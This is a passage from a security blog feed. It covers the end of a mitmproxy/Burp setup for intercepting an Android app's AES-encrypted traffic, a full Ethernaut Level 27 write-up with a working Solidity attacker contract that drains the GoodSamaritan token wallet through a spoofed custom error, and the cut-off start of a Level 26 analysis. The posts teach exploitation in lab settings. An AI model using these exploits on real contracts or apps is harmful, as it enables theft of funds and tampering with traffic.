<p>This script is intercepting the traffic for the domain <code>victim.com</code>, splitting the POST data and extracting only the AES-encrypted POST body which is then set as the new content and sent to Burp Suite.</p>
<h3 id="heading-mitmproxy-2">Mitmproxy-2</h3>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> mitmproxy <span class="hljs-keyword">import</span> http
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote, unquote
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64encode
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad, unpad

<span class="hljs-comment">#keys</span>
iv = bytes(<span class="hljs-string">"verysecretkey"</span>, <span class="hljs-string">'utf-8'</span>)
key = bytes(<span class="hljs-string">"verysecretiv"</span>, <span class="hljs-string">'utf-8'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">request</span>(<span class="hljs-params">flow: http.HTTPFlow</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
    <span class="hljs-comment">#if host matches</span>
    <span class="hljs-keyword">if</span> flow.request.host == <span class="hljs-string">"victim.com"</span>:
        print(flow.request.host)
        post_body = (flow.request.content).decode(<span class="hljs-string">'utf8'</span>)
        <span class="hljs-comment">#encrypting data coming from Burp</span>
        edata = quote(encrypt(post_body))
        <span class="hljs-comment">#appending IV to the request as it was originally done </span>
        prefix = quote(<span class="hljs-string">":"</span>) + quote(b64encode(iv))
        <span class="hljs-comment">#final POST body</span>
        to_send = <span class="hljs-string">"data="</span> + edata + prefix
        <span class="hljs-comment">#send to server</span>
        flow.request.content = bytes(to_send, <span class="hljs-string">'utf-8'</span>)

<span class="hljs-comment">#function to encrypt AES</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">message</span>):</span>
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(message.encode(<span class="hljs-string">"UTF-8"</span>), AES.block_size))
    <span class="hljs-keyword">return</span> (b64encode(encrypted).decode(<span class="hljs-string">'utf-8'</span>))
</code></pre>
<p>This script intercepts the plaintext traffic coming from Burp, extracts the POST body, encrypts it, appends IV, base64 encodes the whole thing, and sends it to the victim server.</p>
<h2 id="heading-everything-in-action">Everything in Action</h2>
<p>I started by installing Mitmproxy's SSL certificate on my android device. This process is similar to what you do with Burp Suite. A detailed guide for mitmproxy is available <a target="_blank" href="https://github.com/mitmproxy/mitmproxy/blob/main/docs/src/content/howto-install-system-trusted-ca-android.md">here</a>.</p>
<p>I configured a proxy on my android device to forward all traffic to my device's IP (<code>192.168.xx.xx</code>) and port <code>8080</code>.</p>
<p>Once that was done, I started my first proxy listener in upstream mode which listens on port <code>8080</code> and forwards all traffic to <code>http://127.0.0.1:7070</code> using the following command:</p>
<pre><code class="lang-python">mitmproxy --mode  upstream:http://<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">7070</span> --ssl-insecure -s mitm_to_burp.py
</code></pre>
<p>I configured Burp to listen on port <code>7070</code> on all interfaces. I also enabled upstream proxy in Burp to forward all traffic to port <code>8082</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1670004427669/d06f3aec-4c07-447a-8b71-727b9d9b8391.png" alt />
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1670003337434/0c231a4f-2cf8-42ec-99f6-e206e9f81939.png" alt /></p>
<p>I started another Mitmproxy instance to listen on port <code>8082</code> for the traffic coming from Burp with the following command:</p>
<pre><code class="lang-python">mitmproxy --listen-port <span class="hljs-number">8082</span> -s burp_to_mitm.py
</code></pre>
<p>Now that everything was set up, it was time to initiate a request in the application and verify the flow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1670003686102/bb27df0a-8a77-4d21-a076-903b36a2fc9f.png" alt /></p>
<p>And it worked. Burp was able to intercept and manipulate the requests successfully and show the response returned by the server.</p>
<p>The whole process could have been done in an efficient way using Burp Suite's Extender API or Frida hooks. Maybe that's a topic for the next part?</p>
<h2 id="heading-mitigations">Mitigations</h2>
<ul>
<li><p>DO NOT hardcode sensitive data inside your application as it can easily be decompiled and obtained. Use <a target="_blank" href="https://developer.android.com/training/articles/keystore">Android Keystore API</a> for storing sensitive keys and tokens.</p>
</li>
<li><p>Obfuscate the source code using Proguard or similar tools which will make it difficult for attackers to reverse engineer the code.</p>
</li>
<li><p>Have Root detection and SSL Pinning in place</p>
</li>
</ul>
<p>The Python scripts can also be found at:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/az0mb13/hooker">https://github.com/az0mb13/hooker</a></div>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 27 - Good Samaritan]]></title><description><![CDATA[Objectives
There's a GoodSamaritan contract that holds a lot of tokens and donates 10 tokens to anyone who requests. Our goal is to drain the contract of all the tokens it holds by exploiting something called custom errors that were recently introduc...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-27-good-samaritan</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-27-good-samaritan</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Mon, 17 Oct 2022 18:01:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1666029638649/0hn7WTa2k.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>There's a <code>GoodSamaritan</code> contract that holds a lot of tokens and donates 10 tokens to anyone who requests. Our goal is to drain the contract of all the tokens it holds by exploiting something called custom errors that were recently introduced in Solidity. 
Since the aftermath of the last level, I'm so glad they gave us an easy one this time.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>In this level, there are 3 contracts. <code>GoodSamaritan</code> is the one with which we'll be interacting. We can verify this by executing <code>contract.abi</code> in the console.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666023662824/JtgglpDEM.png" alt="image.png" /></p>
<p>Let's go through the contracts. </p>
<h3 id="heading-wallet">Wallet</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Wallet</span> </span>{
    <span class="hljs-comment">// The owner of the wallet instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

    Coin <span class="hljs-keyword">public</span> coin;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">OnlyOwner</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">NotEnoughBalance</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOwner</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">if</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> owner) {
            <span class="hljs-keyword">revert</span> OnlyOwner();
        }
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate10</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-comment">// check balance left</span>
        <span class="hljs-keyword">if</span> (coin.balances(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">&lt;</span> <span class="hljs-number">10</span>) {
            <span class="hljs-keyword">revert</span> NotEnoughBalance();
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-comment">// donate 10 coins</span>
            coin.<span class="hljs-built_in">transfer</span>(dest_, <span class="hljs-number">10</span>);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferRemainder</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-comment">// transfer balance left</span>
        coin.<span class="hljs-built_in">transfer</span>(dest_, coin.balances(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setCoin</span>(<span class="hljs-params">Coin coin_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        coin <span class="hljs-operator">=</span> coin_;
    }
}
</code></pre>
<ul>
<li>The wallet defines two custom errors at the top which it's using inside the revert statements. </li>
<li>The function <code>donate10()</code> is the one that is called to donate 10 coins to the requestor. It checks the balance of the contract (<code>GoodSamaritan</code>) before the transfer and reverts with a custom error (<code>NotEnoughBalance()</code>) if it's less than 10. Else, it just transfers 10 coins. </li>
<li>Function <code>transferRemainder()</code> transfers all the coins stored in the contract to the requestor. We need to somehow trigger this function. </li>
<li>Both of the functions described above are <code>onlyOwner</code> allowing only the owner to call them. The owner will be <code>GoodSamaritan</code> contract in this case. </li>
</ul>
<hr />
<h3 id="heading-coin">Coin</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Coin</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">Address</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>;

    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balances;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InsufficientBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> current, <span class="hljs-keyword">uint256</span> required</span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> wallet_</span>) </span>{
        <span class="hljs-comment">// one million coins for Good Samaritan initially</span>
        balances[wallet_] <span class="hljs-operator">=</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">6</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_, <span class="hljs-keyword">uint256</span> amount_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> currentBalance <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];

        <span class="hljs-comment">// transfer only occurs if balance is enough</span>
        <span class="hljs-keyword">if</span>(amount_ <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentBalance) {
            balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount_;
            balances[dest_] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount_;

            <span class="hljs-keyword">if</span>(dest_.isContract()) {
                <span class="hljs-comment">// notify contract </span>
                INotifyable(dest_).notify(amount_);
            }
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">revert</span> InsufficientBalance(currentBalance, amount_);
        }
    }
}
</code></pre>
<ul>
<li>The Coin contract adds a million coins to the balance of the <code>GoodSamaritan</code> contract inside the constructor. </li>
<li>The <code>transfer</code> function is important here. It is doing it's regular validations, decreasing the amount from the sender and increasing the destination's amount. But there's one specific validation that stands out - <code>if(dest_.isContract())</code>. This is checking if the address that requested the donation is a contract and calling the <code>notify()</code> function on the address, i.e., <code>dest_</code> contract. Since we control the requestor address, we can create a contract on that address and probably control the execution flow after the <code>INotifyable(dest_).notify(amount_)</code> is called. </li>
</ul>
<hr />
<h3 id="heading-goodsamaritan">GoodSamaritan</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GoodSamaritan</span> </span>{
    Wallet <span class="hljs-keyword">public</span> wallet;
    Coin <span class="hljs-keyword">public</span> coin;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        wallet <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Wallet();
        coin <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Coin(<span class="hljs-keyword">address</span>(wallet));

        wallet.setCoin(coin);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">requestDonation</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> enoughBalance</span>)</span>{
        <span class="hljs-comment">// donate 10 coins to requester</span>
        <span class="hljs-keyword">try</span> wallet.donate10(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        } <span class="hljs-keyword">catch</span> (<span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> err) {
            <span class="hljs-keyword">if</span> (<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"NotEnoughBalance()"</span>)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(err)) {
                <span class="hljs-comment">// send the coins left</span>
                wallet.transferRemainder(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
                <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
            }
        }
    }
}
</code></pre>
<ul>
<li>The contract is deploying new instances of the <code>Wallet</code> and <code>Coin</code> contracts. </li>
<li>The function <code>requestDonation()</code> is of interest here. We can call this function externally. Note that this whole thing is inside a <code>try</code> and <code>catch</code> block. <ul>
<li>The <code>try</code> block is executing the <code>wallet.donate10(msg.sender)</code> call with <code>msg.sender</code> being anyone who called the function.     </li>
<li>The <code>catch</code> block is validating if the error thrown as a result of an error with the <code>try</code> block matches with the string of the custom error message <code>NotEnoughBalance()</code>. If it does match, then the wallet will transfer all the amount to us. This is what we need to achieve. </li>
</ul>
</li>
</ul>
<hr />
<h2 id="heading-the-attack-flow">The Attack Flow</h2>
<p>Let's take a few steps back and trace what happens when we call the <code>requestDonation()</code> function:</p>
<ol>
<li>We made a call to <code>requestDonation()</code> and the execution flow goes to <code>wallet.donate10(msg.sender)</code>. </li>
<li>The wallet contract calls <code>coin.transfer()</code> if everything goes well. </li>
<li>The <code>coin.transfer()</code> function does the necessary calculations, checks if our address is a contract, and then calls a <code>notify()</code> function on our address. </li>
<li>This is where we attack. We create a <code>notify()</code> function in our contract and make it revert a custom error with the name <code>NotEnoughBalance()</code>. This will trigger the error in the <code>GoodSamaritan.requestDonation()</code> function and the <code>catch()</code> block will be triggered transferring us all the tokens. </li>
<li>But wait, there's another catch. Transferring all the tokens won't work because our contract will just revert the transaction. To counter this, we will need to add another condition to our <code>notify()</code> function to check if the <code>amount &lt;= 10</code>, and then only revert. </li>
</ol>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Here's how our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level27.sol">exploits code</a> looks like:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel27.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">BadSamaritan</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">NotEnoughBalance</span>(<span class="hljs-params"></span>)</span>;

    GoodSamaritan goodsamaritan  <span class="hljs-operator">=</span> GoodSamaritan(<span class="hljs-number">0xcf2e93212faddDeB5ca99606104Be3Bae28e27A4</span>); <span class="hljs-comment">//ethernaut instance address</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attax</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        goodsamaritan.requestDonation();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> </span>{
        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>) {
            <span class="hljs-keyword">revert</span> NotEnoughBalance();
        }
    }
}
</code></pre>
<ul>
<li>The <code>attax()</code> function is just for calling the <code>requestDonation()</code> to trigger the initial transfer. </li>
<li>The transfer will then call our <code>notify()</code> function and since the amount will be 10, it'll revert. </li>
<li>The revert will then trigger the <code>catch</code> block in <code>requestDonation()</code> and will transfer all the tokens to us. </li>
<li>This time our <code>notify()</code> won't revert due to the <code>if</code> condition. </li>
</ul>
<p>Let's deploy our contract using the following command:</p>
<pre><code>forge create BadSamaritan --private-key $PKEY --rpc-url $RPC_URL
</code></pre><p>Now to call the <code>attax()</code> function:</p>
<pre><code>cast send <span class="hljs-number">0xb5daE871ADAFD33ee4B6Bf782a30b238902715F6</span> <span class="hljs-string">"attax()"</span> --private-key $PKEY --rpc-url $RPC_URL --gas-limit <span class="hljs-number">1000000</span>
</code></pre><blockquote>
<p>I specified a large gas limit because the transaction kept failing. </p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666028158140/OmJ1qFXoC.png" alt="image.png" /></p>
<p>The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<p>It is a really bad idea to give execution control to the hands of any external user and then use any dependent condition based on the external factor to decide a critical logic in the contract. </p>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 26 - DoubleEntryPoint]]></title><description><![CDATA[Objectives
This level consists of multiple contracts that interact together. One of those contracts is called the CryptoVault. Our task is to find a bug in the CryptoVault and protect the contract from being drained of tokens. 

This level features a...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-26-doubleentrypoint</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-26-doubleentrypoint</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 15 Oct 2022 17:58:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1665856179393/2geKCfs0F.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This level consists of multiple contracts that interact together. One of those contracts is called the <code>CryptoVault</code>. Our task is to find a bug in the <code>CryptoVault</code> and protect the contract from being drained of tokens. </p>
<blockquote>
<p>This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can't be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.</p>
<p>The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.</p>
<p>In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.</p>
<p>The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot's implementation will need to raise correct alerts to prevent potential attacks or bug exploits.</p>
</blockquote>
<p>We will go through the contracts, understand their logic and implementation, and find the bug. We will then learn to implement a monitoring bot called Forta to raise alerts to prevent the attack. Brace yourselves, this is a wild ride. </p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>We have two ERC20 token contracts, <code>LegacyToken (LGT)</code> and <code>DoubleEntryPoint (DET)</code>, and a vault <code>CryptoVault</code> with a very special function that also happens to be vulnerable. 
The <code>CryptoVault</code> initially holds 100 tokens each of LGT and DET. 
Let's take a look at the contracts one by one starting with the <code>LegacyToken</code>.</p>
<h3 id="heading-legacytoken">LegacyToken</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LegacyToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"LegacyToken"</span>, <span class="hljs-string">"LGT"</span></span>), <span class="hljs-title">Ownable</span> </span>{
    DelegateERC20 <span class="hljs-keyword">public</span> delegate;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        _mint(to, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delegateToNewContract</span>(<span class="hljs-params">DelegateERC20 newContract</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        delegate <span class="hljs-operator">=</span> newContract;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(delegate) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
            <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.<span class="hljs-built_in">transfer</span>(to, value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> delegate.delegateTransfer(to, value, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        }
    }
}
</code></pre>
<ul>
<li>This contract is overriding the default <code>transfer()</code> function from ERC20 and making some weird changes. <ul>
<li>This is checking that if the <code>delegate</code> address is not set or is set to a <code>0</code> address, just call the <code>transfer()</code> function from the ERC20. </li>
<li>If it is set to something else, call the <code>delegateTransfer()</code> function on the <code>delegate()</code> contract address. In this case, the <code>delegate</code> contract is the <code>DoubleEntryPoint</code> contract. </li>
</ul>
</li>
<li>The <code>delegateToNewContract()</code> is setting the value of the <code>delegate</code> contract which is controlled by <code>onlyOwner</code> (only the owner can call this function). </li>
</ul>
<hr />
<h3 id="heading-doubleentrypoint">DoubleEntryPoint</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DoubleEntryPoint</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"DoubleEntryPointToken"</span>, <span class="hljs-string">"DET"</span></span>), <span class="hljs-title">DelegateERC20</span>, <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> cryptoVault;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> player;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> delegatedFrom;
    Forta <span class="hljs-keyword">public</span> forta;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> legacyToken, <span class="hljs-keyword">address</span> vaultAddress, <span class="hljs-keyword">address</span> fortaAddress, <span class="hljs-keyword">address</span> playerAddress</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        delegatedFrom <span class="hljs-operator">=</span> legacyToken;
        forta <span class="hljs-operator">=</span> Forta(fortaAddress);
        player <span class="hljs-operator">=</span> playerAddress;
        cryptoVault <span class="hljs-operator">=</span> vaultAddress;
        _mint(cryptoVault, <span class="hljs-number">100</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyDelegateFrom</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> delegatedFrom, <span class="hljs-string">"Not legacy contract"</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">fortaNotify</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">address</span> detectionBot <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(forta.usersDetectionBots(player));

        <span class="hljs-comment">// Cache old number of bot alerts</span>
        <span class="hljs-keyword">uint256</span> previousValue <span class="hljs-operator">=</span> forta.botRaisedAlerts(detectionBot);

        <span class="hljs-comment">// Notify Forta</span>
        forta.notify(player, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>);

        <span class="hljs-comment">// Continue execution</span>
        <span class="hljs-keyword">_</span>;

        <span class="hljs-comment">// Check if alarms have been raised</span>
        <span class="hljs-keyword">if</span>(forta.botRaisedAlerts(detectionBot) <span class="hljs-operator">&gt;</span> previousValue) <span class="hljs-keyword">revert</span>(<span class="hljs-string">"Alert has been triggered, reverting"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delegateTransfer</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value,
        <span class="hljs-keyword">address</span> origSender
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">onlyDelegateFrom</span> <span class="hljs-title">fortaNotify</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        _transfer(origSender, to, value);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}
</code></pre>
<ul>
<li>The constructor is defining all the addresses, and is also minting 100 LGT to the CryptoVault. </li>
<li>The modifier <code>onlyDelegateFrom()</code> is making sure that the <code>msg.sender</code> should only be the <code>delegatedFrom</code> contract which is set to the address of the <code>LegacyToken</code>. This means that whichever function has this modifier, that function can only be called by the <code>LegacyToken</code> and no one else. </li>
<li>The modifier <code>fortaNotify()</code> is the one used by the Forta bot. <ul>
<li>This modifier stores the old number of alerts raised by the bot, executes the function logic on which the modifier is set and then compares the old number of alerts with the new number to see if an alert was raised. If it was, then the whole transaction is reverted. This is what we have to make use of. Since this modifier is only used on the <code>delegateTransfer()</code> function, there has to be some bug in there.</li>
</ul>
</li>
<li>The function <code>delegateTransfer()</code> is the one which the <code>LegacyToken</code> was calling which we discussed above. <ul>
<li>This function has the <code>onlyDelegateFrom()</code> modifier set allowing only <code>LegacyTokens</code> to call this function and the <code>fortaNotify()</code> which acts as a bot detection and monitoring feature and reverts the function execution if an alert is raised. </li>
<li>This function is calling the ERC20 <code>_transfer</code> function which is transferring the <code>value</code> amount of tokens from <code>origSender</code> to the address <code>to</code>. </li>
</ul>
</li>
</ul>
<hr />
<h3 id="heading-cryptovault">CryptoVault</h3>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CryptoVault</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> sweptTokensRecipient;
    IERC20 <span class="hljs-keyword">public</span> underlying;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> recipient</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        sweptTokensRecipient <span class="hljs-operator">=</span> recipient;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUnderlying</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> latestToken</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(underlying) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), <span class="hljs-string">"Already set"</span>);
        underlying <span class="hljs-operator">=</span> IERC20(latestToken);
    }

    <span class="hljs-comment">/*
    ...
    */</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sweepToken</span>(<span class="hljs-params">IERC20 token</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
